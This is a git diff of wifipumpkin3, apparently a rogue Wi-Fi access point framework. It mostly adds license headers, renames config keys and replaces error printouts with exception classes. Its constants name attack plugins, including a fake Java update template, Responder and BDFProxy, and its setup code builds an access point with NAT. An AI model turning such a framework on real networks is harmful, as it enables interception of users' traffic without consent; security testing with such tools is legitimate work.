# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
palette_color = [
|
||||
('titlebar', '', ''),
|
||||
('refresh button', 'dark green,bold', 'black'),
|
||||
|
@ -3,6 +3,23 @@ from wifipumpkin3.core.utility.collection import SettingsINI
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
import threading
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class WidgetBase(urwid.Frame):
|
||||
"""
|
||||
common class for widgets
|
||||
|
@ -1,4 +1,22 @@
|
||||
import random
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
wp_banner = {}
|
||||
|
||||
wp_banner['default']= ('''
|
||||
|
@ -1,25 +1,23 @@
|
||||
from os import path
|
||||
from PyQt5.QtCore import QSettings
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
"""
|
||||
Description:
|
||||
This program is a module for wifi-pumpkin.py.
|
||||
|
||||
Copyright:
|
||||
Copyright (C) 2015 Marcos Nesster P0cl4bs Team
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
"""
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class SettingsINI(object):
|
||||
""" settings INI file implemented for Wifi-Pumpkin"""
|
||||
@ -28,7 +26,6 @@ class SettingsINI(object):
|
||||
if path.isfile(filename):
|
||||
self.psettings = QSettings(filename,QSettings.IniFormat)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if SettingsINI._instance is None:
|
||||
|
@ -1,5 +1,21 @@
|
||||
from wifipumpkin3.core.config.globalimport import *
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class ComponentBlueprint(object):
|
||||
Name = "GenericComponent"
|
||||
|
@ -1,66 +1,42 @@
|
||||
import os
|
||||
|
||||
"""
|
||||
Description:
|
||||
This program is a module for wifi-pumpkin.py file which includes functionality
|
||||
declare constants .
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
Copyright:
|
||||
Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||
"""
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
dir_of_executable = os.path.dirname(__file__)
|
||||
dir_path = os.getcwd()
|
||||
user_config_dir = os.path.expanduser("~")
|
||||
|
||||
# window constants
|
||||
GEOMETRYH = 820
|
||||
GEOMETRYW = 500
|
||||
|
||||
SYSTEMCOMMAND = ['ifconfig','iw','iwconfig', 'route']
|
||||
|
||||
MENU_STYLE = 'QListWidget::item {border-style: solid; border-width:1px; ' \
|
||||
'border-color:#3A3939;}QListWidget::item:selected {border-style:' \
|
||||
' solid;color:#ff6600; background-color: #3A3939; border-width:1px; border-radius: 2px; border: 1px solid #ff6600;}QListWidget ' \
|
||||
'{background-color: #302F2F; border-radius 2px; border-width:1px;border-color:#201F1F;} QListWidget:item:hover'\
|
||||
'{color: #ff6600;border-radius: 2px; }'
|
||||
GTKTHEME = 'Plastique'
|
||||
|
||||
NOTIFYSTYLE = "; ".join((
|
||||
"color: #302F2F",
|
||||
'background-color: #996633',
|
||||
"border-color: #996633",
|
||||
"border: 1dpx solid #996633",
|
||||
"padding: 5px"))
|
||||
|
||||
|
||||
HELPFILESPATH = user_config_dir + '/.config/wifipumpkin3/helps/'
|
||||
EXCEPTFILESPATH = user_config_dir + '/.config/wifipumpkin3/exceptions/'
|
||||
|
||||
#DHCP logger connected
|
||||
CLIENTS_CONNECTED = user_config_dir + '/.config/wifipumpkin3/config/session/connected.json'
|
||||
|
||||
DHCPSERVERBINARY = 'core/packets/binary/dhcpserver'
|
||||
|
||||
PUMPKINPROXY_notify = 'the package requirement mitmproxy==0.18.2 is ' \
|
||||
'not satisfied.'
|
||||
|
||||
#DNS file hosts
|
||||
DNSHOSTS = user_config_dir+ '/.config/wifipumpkin3/config/app/dns_hosts.ini'
|
||||
|
||||
#donation button
|
||||
DONATE = 'https://github.com/P0cL4bs/WiFi-Pumpkin#donation'
|
||||
#TODO: add donation in readme
|
||||
DONATE = 'https://github.com/P0cL4bs/wifipumpkin3#donation'
|
||||
DONATE_TXT = 'Consider donating to support the development and maintenance of WiFi-Pumpkin. '
|
||||
|
||||
#settings DHCP
|
||||
@ -115,9 +91,4 @@ TEMP_Java = dir_path+'/templates/fakeupdate/Java_Update'
|
||||
#plugins path
|
||||
RESPONDER_EXEC = 'plugins/external/Responder/Responder.py'
|
||||
DNS2PROXY_EXEC = 'plugins/external/dns2proxy/dns2proxy.py'
|
||||
BDFPROXY_EXEC = 'plugins/external/BDFProxy-ng/bdf_proxy.py'
|
||||
|
||||
#colors
|
||||
YELLOW = '\033[33m'
|
||||
RED = '\033[91m'
|
||||
ENDC = '\033[0m'
|
||||
BDFPROXY_EXEC = 'plugins/external/BDFProxy-ng/bdf_proxy.py'
|
@ -1,5 +1,23 @@
|
||||
from tabulate import tabulate
|
||||
from wifipumpkin3.core.utility.banners import random_banners
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
colors = {'BOLD': '\033[1m','BLUE': '\033[34m' ,
|
||||
'GREEN': '\033[32m','YELLOW' :'\033[33m',
|
||||
'RED': '\033[91m','ENDC' : '\033[0m','CIANO' :'\033[1;36m','ORAN' : '\033[91m',
|
||||
|
@ -5,12 +5,28 @@ from loguru import logger
|
||||
import sys
|
||||
import json
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
def make_filter(name):
|
||||
def filter(record):
|
||||
return record["extra"].get("name") == name
|
||||
return filter
|
||||
|
||||
|
||||
class StandardLog:
|
||||
_typelog = None
|
||||
_serialized = False
|
||||
@ -136,7 +152,6 @@ class StandardLog:
|
||||
self.configure()
|
||||
self.logger.debug(message)
|
||||
|
||||
|
||||
class LoggerManager(CoreSettings):
|
||||
Name = "Logger Manager"
|
||||
ID = "Logger"
|
||||
|
@ -1,7 +1,22 @@
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
from PyQt5.QtCore import pyqtSignal
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Plugins(TabsWidget):
|
||||
Name = "Plugins"
|
||||
|
@ -2,6 +2,23 @@ from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
import weakref
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class SessionConfig(TabsWidget):
|
||||
ConfigRoot="Settings"
|
||||
Name = "Settings"
|
||||
@ -20,10 +37,7 @@ class SessionConfig(TabsWidget):
|
||||
self.settingsItem = {}
|
||||
|
||||
for mod in settingsItem:
|
||||
#print(mod.title)
|
||||
self.settingsItem[mod.title]=mod
|
||||
#self.mainlayout.addWidget(mod)
|
||||
#Hack to add all the modules into class
|
||||
setattr(self.__class__,mod.ID,mod)
|
||||
|
||||
@property
|
||||
|
@ -1,6 +1,24 @@
|
||||
from PyQt5 import QtCore, Qt
|
||||
from functools import partial
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
|
||||
class DockableWidget(Qt.QObject):
|
||||
title = 'Default'
|
||||
id = 'default'
|
||||
|
@ -12,7 +12,24 @@ from wifipumpkin3.core.controls.threads import ProcessHostapd, ProcessThread
|
||||
from wifipumpkin3.core.wirelessmode.wirelessmode import Mode
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.utility.printer import display_messages
|
||||
from wifipumpkin3.exceptions.errors.networkException import *
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Docker(Mode):
|
||||
configRoot = "docker"
|
||||
@ -55,7 +72,7 @@ class Docker(Mode):
|
||||
# this mehtod is called when post start all threads
|
||||
self.interfacesLink = Refactor.get_interfaces()
|
||||
print(display_messages('sharing internet connection with NAT...', info=True))
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interfaceAP')
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interface')
|
||||
iptables_file = {'iptables.ipv4.nat':
|
||||
[
|
||||
'# Generated by iptables-save v1.6.0 on Sun Jun 5 11:18:08 2016'
|
||||
@ -102,11 +119,6 @@ class Docker(Mode):
|
||||
def get_Hostapd_Response(self,data):
|
||||
#TODO: notify user client desconnected
|
||||
print(data)
|
||||
|
||||
def get_error_hostapdServices(self,data):
|
||||
if self.conf.get('accesspoint','statusAP',format=bool):
|
||||
print(display_messages('Hostapd Error',error=True))
|
||||
print(data)
|
||||
|
||||
def setNetworkManager(self, interface=str,Remove=False):
|
||||
''' mac address of interface to exclude '''
|
||||
@ -142,7 +154,6 @@ class Docker(Mode):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
class DockerSettings(CoreSettings):
|
||||
Name = "Static"
|
||||
ID = "Static"
|
||||
@ -162,7 +173,6 @@ class DockerSettings(CoreSettings):
|
||||
self.SettingsAP = {}
|
||||
|
||||
self.interfaces = Linux.get_interfaces()
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interfaceAP')
|
||||
self.DHCP = self.getDHCPConfig()
|
||||
|
||||
|
||||
@ -177,9 +187,9 @@ class DockerSettings(CoreSettings):
|
||||
DHCP['range'] = self.conf.get('dhcpdefault','range')
|
||||
return DHCP
|
||||
|
||||
|
||||
def Configure(self):
|
||||
''' configure interface and dhcpd for mount Access Point '''
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interface')
|
||||
self.SettingsAP = {
|
||||
'interface':
|
||||
[
|
||||
@ -238,48 +248,19 @@ class DockerSettings(CoreSettings):
|
||||
|
||||
|
||||
def checkNetworkAP(self):
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interface')
|
||||
# check if interface has been support AP mode (necessary for hostapd)
|
||||
if self.conf.get('accesspoint','check_support_ap_mode',format=bool):
|
||||
if not 'AP' in self.get_supported_interface(self.ifaceHostapd)['Supported']:
|
||||
print(display_messages('No Network Supported failed',error=True))
|
||||
print('failed AP ode: warning interface, the feature\n'
|
||||
'Access Point Mode is Not Supported By This Device ->({}).\n'
|
||||
'Your adapter does not support for create Access Point Network.\n'.format(self.ifaceHostapd))
|
||||
return False
|
||||
raise ApModeSupportError('[Error] AP mode',
|
||||
'{} ap mode not found!'.format(self.ifaceHostapd))
|
||||
|
||||
# check if Wireless interface is being used
|
||||
if self.ifaceHostapd == self.interfaces['activated'][0]:
|
||||
iwconfig = Popen(['iwconfig'], stdout=PIPE,shell=False,stderr=PIPE)
|
||||
for line in iwconfig.stdout.readlines():
|
||||
if self.ifaceHostapd in str(line,encoding='ascii'):
|
||||
print(display_messages('Wireless interface is busy',error=True))
|
||||
print('Connection has been detected, this {} is joined the correct Wi-Fi network\n'
|
||||
'Device or resource busy\n{}\nYou may need to another Wi-Fi USB Adapter\n'
|
||||
'for create AP or try use with local connetion(Ethernet).\n'
|
||||
''.format(self.ifaceHostapd,str(line,encoding='ascii')))
|
||||
return False
|
||||
|
||||
# check if range ip class is same
|
||||
gateway_wp, gateway = self.DHCP['router'],self.interfaces['gateway']
|
||||
if gateway != None:
|
||||
if gateway_wp[:len(gateway_wp)-len(gateway_wp.split('.').pop())] == \
|
||||
gateway[:len(gateway)-len(gateway.split('.').pop())]:
|
||||
print(display_messages('DHCP Server settings',error=True))
|
||||
print('\n'.join(['The DHCP server check if range ip class is same.\n'
|
||||
'it works, but not share internet connection in some case.\n'
|
||||
'for fix this, You need change on tab (settings -> Class Ranges)\n'
|
||||
'now you have choose the Class range different of your network.\n']))
|
||||
return False
|
||||
raise InterfaceBuzyError('Wireless interface is busy',
|
||||
'Device {} is busy'.format(self.ifaceHostapd ))
|
||||
return True
|
||||
|
||||
def setAP_essid_random(self):
|
||||
''' set random mac 3 last digits '''
|
||||
prefix = []
|
||||
for item in [x for x in str(self.EditBSSID.text()).split(':')]:
|
||||
prefix.append(int(item, 16))
|
||||
self.EditBSSID.setText(Refactor.randomMacAddress(
|
||||
[prefix[0], prefix[1], prefix[2]]).upper())
|
||||
|
||||
def get_supported_interface(self,dev):
|
||||
''' get all support mode from interface wireless '''
|
||||
_iface = {'info':{},'Supported': []}
|
||||
|
@ -13,6 +13,24 @@ from wifipumpkin3.core.wirelessmode.wirelessmode import Mode
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.utility.printer import display_messages
|
||||
import sys
|
||||
from wifipumpkin3.exceptions.errors.networkException import *
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Static(Mode):
|
||||
configRoot = "static"
|
||||
@ -54,11 +72,6 @@ class Static(Mode):
|
||||
#TODO: notify user client desconnected
|
||||
print(data)
|
||||
|
||||
def get_error_hostapdServices(self,data):
|
||||
if self.conf.get('accesspoint','statusAP',format=bool):
|
||||
print(display_messages('Hostapd Error',error=True))
|
||||
print(data)
|
||||
|
||||
def setNetworkManager(self, interface=str,Remove=False):
|
||||
''' mac address of interface to exclude '''
|
||||
networkmanager = C.NETWORKMANAGER
|
||||
@ -93,7 +106,6 @@ class Static(Mode):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
class StaticSettings(CoreSettings):
|
||||
Name = "Static"
|
||||
ID = "Static"
|
||||
@ -113,7 +125,6 @@ class StaticSettings(CoreSettings):
|
||||
self.SettingsAP = {}
|
||||
|
||||
self.interfaces = Linux.get_interfaces()
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interfaceAP')
|
||||
self.DHCP = self.getDHCPConfig()
|
||||
|
||||
def getDHCPConfig(self):
|
||||
@ -129,6 +140,7 @@ class StaticSettings(CoreSettings):
|
||||
|
||||
def Configure(self):
|
||||
''' configure interface and dhcpd for mount Access Point '''
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interface')
|
||||
self.SettingsAP = {
|
||||
'interface':
|
||||
[
|
||||
@ -186,48 +198,19 @@ class StaticSettings(CoreSettings):
|
||||
move(C.DHCPCONF_PATH, '/etc/dhcp/')
|
||||
|
||||
def checkNetworkAP(self):
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interface')
|
||||
# check if interface has been support AP mode (necessary for hostapd)
|
||||
if self.conf.get('accesspoint','check_support_ap_mode',format=bool):
|
||||
if not 'AP' in self.get_supported_interface(self.ifaceHostapd)['Supported']:
|
||||
print(display_messages('No Network Supported failed',error=True))
|
||||
print('failed AP mode: warning interface, the feature\n'
|
||||
'Access Point Mode is Not Supported By This Device ->({}).\n'
|
||||
'Your adapter does not support for create Access Point Network.\n'.format(self.ifaceHostapd))
|
||||
return False
|
||||
raise ApModeSupportError('[Error] AP mode',
|
||||
'{} ap mode not found!'.format(self.ifaceHostapd))
|
||||
|
||||
# check if Wireless interface is being used
|
||||
if self.ifaceHostapd == self.interfaces['activated'][0]:
|
||||
iwconfig = Popen(['iwconfig'], stdout=PIPE,shell=False,stderr=PIPE)
|
||||
for line in iwconfig.stdout.readlines():
|
||||
if self.ifaceHostapd in str(line,encoding='ascii'):
|
||||
print(display_messages('Wireless interface is busy',error=True))
|
||||
print('Connection has been detected, this {} is joined the correct Wi-Fi network\n'
|
||||
'Device or resource busy\n{}\nYou may need to another Wi-Fi USB Adapter\n'
|
||||
'for create AP or try use with local connetion(Ethernet).\n'
|
||||
''.format(self.ifaceHostapd,str(line,encoding='ascii')))
|
||||
return False
|
||||
|
||||
# check if range ip class is same
|
||||
gateway_wp, gateway = self.DHCP['router'],self.interfaces['gateway']
|
||||
if gateway != None:
|
||||
if gateway_wp[:len(gateway_wp)-len(gateway_wp.split('.').pop())] == \
|
||||
gateway[:len(gateway)-len(gateway.split('.').pop())]:
|
||||
print(display_messages('DHCP Server settings',error=True))
|
||||
print('\n'.join(['The DHCP server check if range ip class is same.\n'
|
||||
'it works, but not share internet connection in some case.\n'
|
||||
'for fix this, You need change on tab (settings -> Class Ranges)\n'
|
||||
'now you have choose the Class range different of your network.\n']))
|
||||
return False
|
||||
raise InterfaceBuzyError('Wireless interface is busy',
|
||||
'Device {} is busy'.format(self.ifaceHostapd ))
|
||||
return True
|
||||
|
||||
def setAP_essid_random(self):
|
||||
''' set random mac 3 last digits '''
|
||||
prefix = []
|
||||
for item in [x for x in str(self.EditBSSID.text()).split(':')]:
|
||||
prefix.append(int(item, 16))
|
||||
self.EditBSSID.setText(Refactor.randomMacAddress(
|
||||
[prefix[0], prefix[1], prefix[2]]).upper())
|
||||
|
||||
def get_supported_interface(self,dev):
|
||||
''' get all support mode from interface wireless '''
|
||||
_iface = {'info':{},'Supported': []}
|
||||
|
@ -7,6 +7,23 @@ from os import (
|
||||
from shutil import move
|
||||
from wifipumpkin3.core.widgets.default.session_config import *
|
||||
from subprocess import check_output,Popen,PIPE,STDOUT,CalledProcessError,call
|
||||
from wifipumpkin3.exceptions.errors.hostapdException import HostapdInitializeError
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Mode(Qt.QObject):
|
||||
configApMode = 'ap_mode'
|
||||
@ -40,6 +57,7 @@ class Mode(Qt.QObject):
|
||||
|
||||
def get_soft_dependencies(self):
|
||||
''' check if Hostapd, isc-dhcp-server is installed '''
|
||||
#TODO: implement this method for check hostapd
|
||||
pass
|
||||
# if not path.isfile(self.hostapd_path):
|
||||
# return QtGui.QMessageBox.information(self,'Error Hostapd','hostapd is not installed')
|
||||
@ -78,12 +96,15 @@ class Mode(Qt.QObject):
|
||||
# set configure iptables
|
||||
self.setIptables()
|
||||
# set AP status true
|
||||
self.conf.set('accesspoint', 'statusAP', True)
|
||||
self.setStatusAP(True)
|
||||
|
||||
def setStatusAP(self, value):
|
||||
self.conf.set('accesspoint', 'status_ap', value)
|
||||
|
||||
def setIptables(self):
|
||||
self.interfacesLink = Refactor.get_interfaces()
|
||||
print(display_messages('sharing internet connection with NAT...', info=True))
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interfaceAP')
|
||||
self.ifaceHostapd = self.conf.get('accesspoint','interface')
|
||||
try:
|
||||
for ech in self.conf.get_all_childname('iptables'):
|
||||
ech = self.conf.get('iptables', ech)
|
||||
@ -100,10 +121,10 @@ class Mode(Qt.QObject):
|
||||
|
||||
def get_error_hostapdServices(self,data):
|
||||
'''check error hostapd on mount AP '''
|
||||
self.Shutdown()
|
||||
return QtGui.QMessageBox.warning(self,'[ERROR] Hostpad',
|
||||
'Failed to initiate Access Point, '
|
||||
'check output process hostapd.\n\nOutput::\n{}'.format(data))
|
||||
if self.conf.get('accesspoint', 'status_ap', format=bool):
|
||||
self.Shutdown()
|
||||
raise HostapdInitializeError('[ERROR] Hostpad Failed',
|
||||
'check output process hostapd.\n {}'.format(data))
|
||||
|
||||
def check_Wireless_Security(self):
|
||||
'''check if user add security password on AP'''
|
||||
|
0
wifipumpkin3/exceptions/__init__.py
Normal file
0
wifipumpkin3/exceptions/__init__.py
Normal file
36
wifipumpkin3/exceptions/base.py
Normal file
36
wifipumpkin3/exceptions/base.py
Normal file
@ -0,0 +1,36 @@
|
||||
from wifipumpkin3.core.common.platforms import Linux
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class ExceptionTemplate(Exception):
|
||||
|
||||
filename = None
|
||||
content = ''
|
||||
|
||||
def __init__(self, title='', message='', filename=None):
|
||||
self.message = message
|
||||
self.title = title
|
||||
# read file is exist in folder .conffig/exceptions
|
||||
self.filename = self.filename if filename == None else filename
|
||||
if self.filename:
|
||||
